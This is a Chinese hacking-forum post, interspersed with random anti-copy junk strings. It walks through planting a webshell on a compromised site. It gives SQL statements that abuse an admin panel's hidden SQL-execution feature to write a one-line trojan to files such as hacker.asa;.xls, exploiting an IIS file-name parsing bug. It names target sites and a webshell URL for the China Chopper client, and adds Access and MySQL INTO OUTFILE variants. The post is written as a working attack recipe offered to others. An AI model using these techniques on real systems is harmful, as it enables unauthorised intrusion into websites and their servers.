好不容易进了后台,发现啥上传啊。备份啊多木有。
( w; p$ B3 G' B- h dwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
- Z" j. `1 O) j3 J$ _文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,# V; U. q9 M" k& C
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
# j; v7 H3 T9 B) U9 B1 Y1.create table cmd (a varchar(50))9 P9 B3 }3 G$ C* E' Y* r. M
2.insert into cmd (a) values (‘‘)
l1 g& K. X3 l& N0 [6 Q1 \+ T: d3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd a- _- O' h) k" s% A1 a0 @3 w
(把表cmd的内容导出为物理路径的一个EXCEL文件): W! I. Q# _- A: x, ^, }1 X3 Y6 t
4.drop table cmd: {. h% m+ x+ J5 R
利用IIS的BUG成功拿到了WEBSHELL。
$ d9 s+ b( e- f! A# o) F! _0 E6 k' U
1 ^) o b, r) r# s' L直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话% j) w0 P1 t- t/ \8 L" }6 c
$ A8 P$ A. R( ~- z# c( X8 O SQL语句意思解释:
% H" n! X- }" }* D1 ` 第一句
" M. D" c# J7 M( D, B7 D0 @ 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
# E# \5 s8 w: y2 R9 r+ Z! k t
% G2 w3 V0 u+ I0 V% e) } 第二句; P! \$ o: b N& X
在表cmd的a字段插入一句话木马' l. _1 b/ \" C# O4 y* D. b# Y/ H" k
第三句
7 U0 k) V' ?5 s9 g* R" O8 Y9 e: Q/ T% h 把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
* Z2 ?3 A8 y. f, A& V' D
x4 k+ R5 u; m- j 第四句
% @- V% Y3 N" K3 |, s# q7 \. \ 删除建立的cmd表8 v3 l" }# |/ b9 S5 h; H
/ ?& H2 {1 X! i, X5 E/ ]+ H
以下内容为测试:, g3 v# g/ E. ]6 n- `* d/ ]
Access利用后台SQL执行命令功能导出WebShell:, w- @, g. L- v3 g4 U, T
这个更简单:
- g9 S( Y( p$ a: |) Z/ M [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]+ u: }# o0 E, W$ O r# K
或者
2 x( Y5 x% ?* ^$ n6 g) y [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
6 I) C$ C5 f, m, @% E- {! C3 r# z6 X4 L' ?
后台有执行SQL语句功能(vote为已知表段)* x" \, I1 |: n+ s+ g. D
希望对大家有所帮助拿shell的又一个思路
& n7 t: i$ C+ r+ s( y |